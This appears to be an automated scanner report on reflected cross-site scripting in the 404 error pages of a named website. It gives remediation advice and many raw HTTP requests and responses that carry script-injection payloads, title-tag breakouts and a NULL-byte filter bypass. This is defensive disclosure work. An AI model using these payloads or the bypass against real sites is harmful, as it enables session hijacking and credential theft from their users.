Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3347c<a>a2ab94955bc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /mysite3347c<a>a2ab94955bc/css/fonts-min.css HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:27 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2259
<html> <head> <title>Error 404: - www.oss.co.nz/mysite3347c<a>a2ab94955bc/css/fonts-min.css</title> <style> a:hover { color: #016FAE; text-decoration: none; } a { font-family: "Verdana, Helvet ...[SNIP]... <STRONG>http://www.oss.co.nz/mysite3347c<a>a2ab94955bc/css/fonts-min.css - Was Not Found On This Server.</nobr> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload fe245<script>alert(1)</script>d1ca00b150d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /mysite/cssfe245<script>alert(1)</script>d1ca00b150d/fonts-min.css HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:41 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2325
<html> <head> <title>Error 404: - www.oss.co.nz/mysite/cssfe245<script>alert(1)</script>d1ca00b150d/fonts-min.css</title> <style> a:hover { color: #016FAE; text-decoration: none; } a { font-fa ...[SNIP]... <STRONG>http://www.oss.co.nz/mysite/cssfe245<script>alert(1)</script>d1ca00b150d/fonts-min.css - Was Not Found On This Server.</nobr> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 22c6a</title><script>alert(1)</script>7e3cb34e010 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mysite/css/fonts-min.css22c6a</title><script>alert(1)</script>7e3cb34e010 HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:52 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2349
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 45499<script>alert(1)</script>4d3128c6b3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mysite/css/fonts-min.css45499<script>alert(1)</script>4d3128c6b3 HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:49 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2322
<html> <head> <title>Error 404: - www.oss.co.nz/mysite/css/fonts-min.css45499<script>alert(1)</script>4d3128c6b3</title> <style> a:hover { color: #016FAE; text-decoration: none; } a { font-fam ...[SNIP]... <STRONG>http://www.oss.co.nz/mysite/css/fonts-min.css45499<script>alert(1)</script>4d3128c6b3 - Was Not Found On This Server.</nobr> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %0080ab3<script>alert(1)</script>9b3e128baac was submitted in the REST URL parameter 2. This input was echoed as 80ab3<script>alert(1)</script>9b3e128baac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /mysite/css%0080ab3<script>alert(1)</script>9b3e128baac/layout.css?m=1269824522 HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:37 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2364
...[SNIP]... <STRONG>http://www.oss.co.nz/mysite/css%0080ab3<script>alert(1)</script>9b3e128baac/layout.css?m=1269824522 - Was Not Found On This Server.</nobr> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 82e38<script>alert(1)</script>ab33dbb56f1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mysite82e38<script>alert(1)</script>ab33dbb56f1/css/reset-min.css HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:25 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2325
<html> <head> <title>Error 404: - www.oss.co.nz/mysite82e38<script>alert(1)</script>ab33dbb56f1/css/reset-min.css</title> <style> a:hover { color: #016FAE; text-decoration: none; } a { font-fa ...[SNIP]... <STRONG>http://www.oss.co.nz/mysite82e38<script>alert(1)</script>ab33dbb56f1/css/reset-min.css - Was Not Found On This Server.</nobr> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload %0022a91</title><script>alert(1)</script>4539a8633f0 was submitted in the REST URL parameter 1. This input was echoed as 22a91</title><script>alert(1)</script>4539a8633f0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /mysite%0022a91</title><script>alert(1)</script>4539a8633f0/css/reset-min.css HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:28 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2358
The value of REST URL parameter 2 is copied into the HTML document as text between TITLE tags. The payload d084e</title>7c285463a74 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open <TITLE> tag and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /mysite/cssd084e</title>7c285463a74/reset-min.css HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:29 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2274
<html> <head> <title>Error 404: - www.oss.co.nz/mysite/cssd084e</title>7c285463a74/reset-min.css</title> <style> a:hover { color: #016FAE; text-decoration: none; } a { font-family: "Verdana, H ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload %009133a<script>alert(1)</script>8cdb38e34fd was submitted in the REST URL parameter 3. This input was echoed as 9133a<script>alert(1)</script>8cdb38e34fd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /mysite/css/reset-min.css%009133a<script>alert(1)</script>8cdb38e34fd HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:34 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2334
<html> <head> <title>Error 404: - www.oss.co.nz/mysite/css/reset-min.css%009133a<script>alert(1)</script>8cdb38e34fd</title> <style> a:hover { color: #016FAE; text-decoration: none; } a { font ...[SNIP]... <STRONG>http://www.oss.co.nz/mysite/css/reset-min.css%009133a<script>alert(1)</script>8cdb38e34fd - Was Not Found On This Server.</nobr> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload e99e1</title>35baa89152b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open <TITLE> tag and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /mysite/css/reset-min.csse99e1</title>35baa89152b HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:34 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2274
<html> <head> <title>Error 404: - www.oss.co.nz/mysite/css/reset-min.csse99e1</title>35baa89152b</title> <style> a:hover { color: #016FAE; text-decoration: none; } a { font-family: "Verdana, H ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6c878<a>12638cd9295 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /mysite6c878<a>12638cd9295/css/typography.css?m=1260760601 HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:30 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2301
<html> <head> <title>Error 404: - www.oss.co.nz/mysite6c878<a>12638cd9295/css/typography.css?m=1260760601</title> <style> a:hover { color: #016FAE; text-decoration: none; } a { font-family: "V ...[SNIP]... <STRONG>http://www.oss.co.nz/mysite6c878<a>12638cd9295/css/typography.css?m=1260760601 - Was Not Found On This Server.</nobr> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload e94a3</title><script>alert(1)</script>3085f041093 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /e94a3</title><script>alert(1)</script>3085f041093/css/typography.css?m=1260760601 HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:41 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2373
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %00d326b<script>alert(1)</script>a4f298146cb was submitted in the REST URL parameter 2. This input was echoed as d326b<script>alert(1)</script>a4f298146cb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /mysite/css%00d326b<script>alert(1)</script>a4f298146cb/typography.css?m=1260760601 HTTP/1.1 Host: www.oss.co.nz Proxy-Connection: keep-alive Referer: http://www.oss.co.nz/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5gabn6pb3g24mir6a12oei50o1
Response
HTTP/1.1 404 Not Found Date: Wed, 24 Nov 2010 22:34:46 GMT Server: Apache/2.2.3 (Fedora) X-Powered-By: PHP/5.2.5 Connection: close Content-Type: text/html Content-Length: 2376
...[SNIP]... <STRONG>http://www.oss.co.nz/mysite/css%00d326b<script>alert(1)</script>a4f298146cb/typography.css?m=1260760601 - Was Not Found On This Server.</nobr> ...[SNIP]...
Report generated by XSS.CX at Thu Nov 25 10:07:53 CST 2010.